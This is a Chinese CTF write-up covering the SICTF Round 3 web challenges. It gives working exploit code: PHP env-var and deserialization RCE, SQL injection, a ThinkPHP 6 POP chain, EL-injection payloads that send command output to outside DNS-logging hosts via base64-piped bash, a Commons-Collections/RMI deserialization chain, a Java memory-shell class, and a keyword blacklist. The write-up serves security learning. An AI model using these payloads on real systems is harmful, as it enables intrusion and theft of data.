SICTF-Round3

SICTF-Round3

前言

队友好强啊,啥都会,我就只会web,有两题都没看

web 3/7

image-20240221001812164

服了,0解题熬夜狂干,CC链都写出链子了,结果tm的还不出网,限制了字数,导致我的贼大内存马打不了

试了下最近新学的回显方法,没用,比赛结束后看了出题人WP,回来复现了下

我操,我tm不知道cc链哪出了问题,没成功,换了出题人的CC3,tm的回显全都通了

我的一血啊啊啊啊啊啊啊啊啊

100%_upload

访问看到

http://yuanshen.life:39451/index.php?file=upload.php

一看就是文件包含

又有文件上传

上传个txt的马然后包含就行了

image-20240219112947864

Not just unserialize

都不算pop链了,就是绕过正则RCE

一眼环境变量RCE

public function __isset($name)
{
    foreach ($_GET['get'] as $inject => $rce){
        putenv("{$inject}={$rce}");
    }
    system("echo \"Haven't you get the secret?\"");
}

这里有个细节就是题目描述

看似平平无奇的反序列化题,出题人却在dockerfile里添加了这样一行奇怪命令:RUN ln -sf /bin/bash /bin/sh……

可以用回车来满足正则的要求,即\nworries

http://tttang.com/archive/1450/

get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/f*;%20}

go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9

image-20240219111109501

EZ-SSRF

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($_GET['Harder'])) {
    unserialize($_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?>

image-20240219113614991

admin.php

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
    die("You can't get flag");
} else {
    echo $flag;
}
?>
 <?php
class client{
    public $url = "http://127.0.0.1/admin.php";
    public $payload = "system(\"cat /flag\");";
    public function __construct()
    {
        $url = "";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
$a = new client();
echo serialize($a);

晨曦WP

file:///var/www/html/flag.php

hacker *

明显的SQL注入,但是会不了一点 (SQL真的不会啊

image-20240219174609003

https://blog.csdn.net/weixin_46330722/article/details/109605941

https://blog.csdn.net/weixin_46330722/article/details/109531387

username=flag'union/**/select/**/(select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select*from/**/flag)n)%23

Oyst3rPHP *

一点没看,不过thinkphp6.0有现成的pop链应该不难

晨曦✌WP

thinkphp6.0*的反序列化、preg_match和md5的特性。

首先访问/www.zip,得到源码,看源码的Readme.md知道这是tp6。

部分源码:

PHP

public function index()
    {
		echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";
		
        
		$payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
        
		$key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
            
			echo "Congratulations on getting your first oyster";
			echo "<img src='../Oyster1.png'"."/>";
            
			if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("!!!Oysters don't want you to eat!!!");
            }
			
			echo "WOW!!!Congratulations on getting your second oyster";
			echo "<img src='../Oyster2.png'"."/>";
            
			@unserialize($payload);
			//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
			//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
			//小Tips:细狗函数┗|`O′|┛ 嗷~~
        }
    }

这里先是md5弱比较,然后利用正则回溯最大次数上限绕过 preg_match ,最后是反序列化。

参考链接:利用正则回溯最大次数上限绕过preg_match

反序列化直接拿网上现成的pop链就行了。

PHP

<?php
 namespace think\model\concern;
 
 trait Attribute
 {
     private $data = ["key"=>"cat /Oyst3333333r.php"]; // 这里填上命令
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use model\concern\Attribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){
         $this->name=$obj;
     }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo base64_encode(serialize($b));
// TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319

因为回溯次数上限默认是 100 万,因此用python写脚本发过去。

PYTHON
import requests

url = "http://yuanshen.life:37255/?left=240610708&right=s878926199a"

data = {"key":'a'*1000100+"603THINKPHP","payload":"TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"}

r = requests.post(url,data).text

print(r)

image-20240219175337653

[进阶]elInjection *

EL表达式,提示很多,目标很明确,但就是没写出来(很烦

赛后看了下别人的WP,回来再修改一下原来的做法,发现又被Runtime的exec给坑了

以后见到exec,里面就用base64

image-20240220224751404

黑名单

list.add("Runtime");
list.add("exec");
list.add("invoke");
list.add("exec");
list.add("Process");
list.add("ClassLoader");
list.add("load");
list.add("Response");
list.add("Request");
list.add("Base64Utils");
list.add("ReflectUtils");
list.add("getWriter");
list.add("Thread");
list.add("defineClass");
list.add("bcel");
list.add("RequestAttributes");
list.add("File");
list.add("flag");
list.add("URL");
list.add("Command");
list.add("Inet");
list.add("System");
list.add("\\u");
list.add("\\x");
list.add("'");

我的做法

利用ScriptEngineManager获取js,利用js的String.fromCharCode进行绕过

curl `whoami`.vabueyf6.requestrepo.com
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC52YWJ1ZXlmNi5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}")
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("eval(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,34,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,51,86,121,98,67,66,103,100,50,104,118,89,87,49,112,89,67,53,50,89,87,74,49,90,88,108,109,78,105,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,34,41,59))")}

image-20240220225314409

当然当时没有一个很好的接受dns的网站,导致我一直不确定是我的错了还是网站不行

现在看别人用的收集了一个(嘻嘻

晨曦WP

通过java的 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤。

import requests
import base64

def encode(payload):
	encode_payload = ""
	for i in range(0, len(payload)):
		if i == 0:
			encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
		else:
			encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
	return encode_payload

# 这里填命令
cmd = b"curl `/readflag`.kbqsag.ceye.io"

#print(base64.b64encode(cmd))

exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(%s)}' % (encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")"))
#print(exp)

url = "http://yuanshen.life:23333/test"

data = {'exp': exp}
r = requests.post(url, data).text

print(r)

太麻烦了,没我的方便

预期解

预期是不出网的,等WP出了再补充

双层scriptenginemanager的eval解密base64,base64的内容为bcel打内存马

String s1 = "$$BCEL$$"+ Utility.encode(Repository.lookupClass(memshell.class).getBytes(),true);
String s2 = "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\""+s1+"\").newInstance()";
String s3 = Base64.getEncoder().encodeToString(s2.getBytes());

String s4 = "java.lang.Class.forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(new java.lang.String(java.util.Base64.getDecoder().decode(\\\""+s3+"\\\")))";
String exp = "${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+s4+"\")}";
System.out.println((exp));

出题人的马没成功,改进了一下

import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;

public class memshell {
    static {
        try {
            Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

            Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
            Object obj = m.invoke(null);

            m = obj.getClass().getMethod("getRequest");
            Object request = m.invoke(obj);

            m = obj.getClass().getMethod("getResponse");
            Object response = m.invoke(obj);

            m = request.getClass().getMethod("getParameter", String.class);

            String cmd = (String) m.invoke(request, "cmd");
            if(cmd == null){
                cmd = "id";
            }
            String[] cmds;

            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                cmds = new String[]{"cmd", "/c", cmd};
            } else {
                cmds = new String[]{"sh", "-c", cmd};
            }

            String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

            m = response.getClass().getMethod("getWriter");
            PrintWriter printWriter = (PrintWriter) m.invoke(response);
            printWriter.println(output);
            printWriter.flush();
            printWriter.close();
        } catch (Exception var11) {

        }


    }
}

image-20240225211458845

【进阶】CC_deserialize *

遗憾啊,0解题痛失一血,

截取的聊天段落

image-20240219180610100

思路完全是跟着出题人的hint走的

所以才会写出预期解

image-20240219180831954

rmi二次反序列化就不说了,自己去看

二次反序列化 看我一命通关 - 跳跳糖 (tttang.com)

关键点在这两处

image-20240219181336365

总所周知,

AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->InvokerTransformer.transform

这是一个完整且普通的CC链,一般执行完transform弹出计算器我们就结束了

但这里我们可以继续利用

关键点1

执行完transform方法后的结果是会被返回回来的

在你调试完rmi二次反序列化之后,你会知道要想成功执行RMIConnectorconnect方法,setValue的参数value要为我们设置的RMIConnector的对象

那这里就要考虑执行完transform方法后如何返回我们的恶意RMIConnector对象

这里熟悉所有CC链的师傅就会想到ConstantTransformer

image-20240219182430047

它的transform方法就是返回构造函数时传入他的参数

花了半个小时才想到

关键点二

我们正常的该链子可以看到这里的entry是HashMap$Node,之后就结束了

image-20240219182822810

要想再次进入AbstractInputCheckedMapDecorator.setValue

我们想办法把他变为

image-20240219182853501

这里我是这样做的


HashMap<Object,Object> hash = new HashMap<Object,Object>();

hash.put("value","value");
Map<Object,Object> transmap1 = TransformedMap.decorate(hash,null,invokerTransformer);

ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);

Map<Object,Object> transmap = TransformedMap.decorate(transmap1,null,constantTransformer);

image-20240219183059030

把实例化的TransformedMap当作Map传入另一个TransformedMapdecorate

image-20240219183613934

要说原因的话

image-20240219183259314

TransformedMap是AbstractInputCheckedMapDecorator的实现类

emm,应该是吧,这样理解一下就行

完整链子

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.ConfigurationException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class RMIChain {
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/恶意base64");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);


        HashMap<Object,Object> hash = new HashMap<Object,Object>();
        hash.put("value","value");
        Map<Object,Object> transmap1 = TransformedMap.decorate(hash,null,invokerTransformer);
        ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);

        Map<Object,Object> transmap = TransformedMap.decorate(transmap1,null,constantTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Target.class,transmap);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(instance);

        oos.close();
//        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
//        System.out.println(base64String);
//        System.out.println(base64String.length());



        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }
    public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

内存马

遗憾的是这里并不出网,要打内存马

但是它限制了exp的长度不超过8000,(我不懂内存马,用了一个以前收集的一个,发现长度一万多)

这里直接心态爆炸

但其实我有找到回显方法,只不过我用的cc4的链子有问题 (本地都能弹计算器,我咋知道有问题

换了出题人的CC3后去复现就可以了,不知道为什么(服了

回到内存马,要用javassist去缩减payload长度

给出出题人的回显代码

public static byte[] payload() throws NotFoundException, CannotCompileException, IOException {
    String s="public MyClassLoader(){             javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
            "            java.lang.reflect.Field r=request.getClass().getDeclaredField(\"request\");\n" +
            "            r.setAccessible(true);" +
            "            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();\n"+
            "            String s =new Scanner(Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()).next();" +
            "            response.setHeader(\"night\", s);}";
    ClassPool classPool = ClassPool.getDefault();
    classPool.importPackage(Scanner.class.getName());
    CtClass ctClass = classPool.get(AbstractTranslet.class.getName());


    CtClass calc = classPool.makeClass("MyClassLoader");
    calc.setSuperclass(ctClass);
    CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
    calc.addConstructor(ctConstructor);

    return calc.toBytecode();
}

还是要用出题人的CC3,cc4我没成功

我是sb,都没common-collection4的依赖咋打cc4(服了

public static String CC3Exp() throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = templates.getClass();
    Field nameField = tc.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates, "aaaa");
    Field bytecodesField = tc.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = payload1();
    byte[][] codes = {code};
    bytecodesField.set(templates, codes);
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> map = new HashMap<>();
    Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
    HashMap<Object, Object> map2 = new HashMap<>();
    map2.put(tiedMapEntry, "bbb");
    lazyMap.remove("aaa");
    Class<LazyMap> c = LazyMap.class;
    Field factoryField = c.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(lazyMap, chainedTransformer);
    ByteArrayOutputStream bao = new ByteArrayOutputStream();
    new ObjectOutputStream(bao).writeObject(map2);
    return Base64.getEncoder().encodeToString(bao.toByteArray()).replaceAll("\\s*", "");
}

出题人的分析思路(其实一样啦

首先走cc1动态代理链子的

AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMao.checkSetValue

d4b01f232d219

反序列化的时候,AbstractInputCheckedMapDecorator.setValue中的entry.setValue(value);的entry还是AbstractInputCheckedMapDecorator,再次调用了当前这个方法

388b356bc2cbe

先进入了TransformedMap的checkSetValue,这时候调用valueTransformer.transform(value),valueTransformer调用transform这时候返回的值为

77dec3e529cce

ConstantTransformer,返回iConstant(rmi二次反序列化)

image-20240129183701195

再次调用entry.setValue(value);

image-20240129183917887

这时候就是

image-20240129183942371

调用了rmi二次反序列化了

所以链子为AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->InvokerTransformer.transform然后走rmi二次反序列化

且exp的字数统计不能大于8000

这个时候就是通过javassist去写一个马进去,来防止字数超过

结果

image-20240219184457111

image-20240219184506559

finally

只能说非常可惜啊,从晚上十一二点开始看CC,没想到还是没做出来,sbCC4,唉

reference

SICTF Round3 | 晨曦的个人小站 (chenxi9981.github.io)


SICTF-Round3
https://zer0peach.github.io/2024/02/19/SICTF-Round3/
作者
Zer0peach
发布于
2024年2月19日
许可协议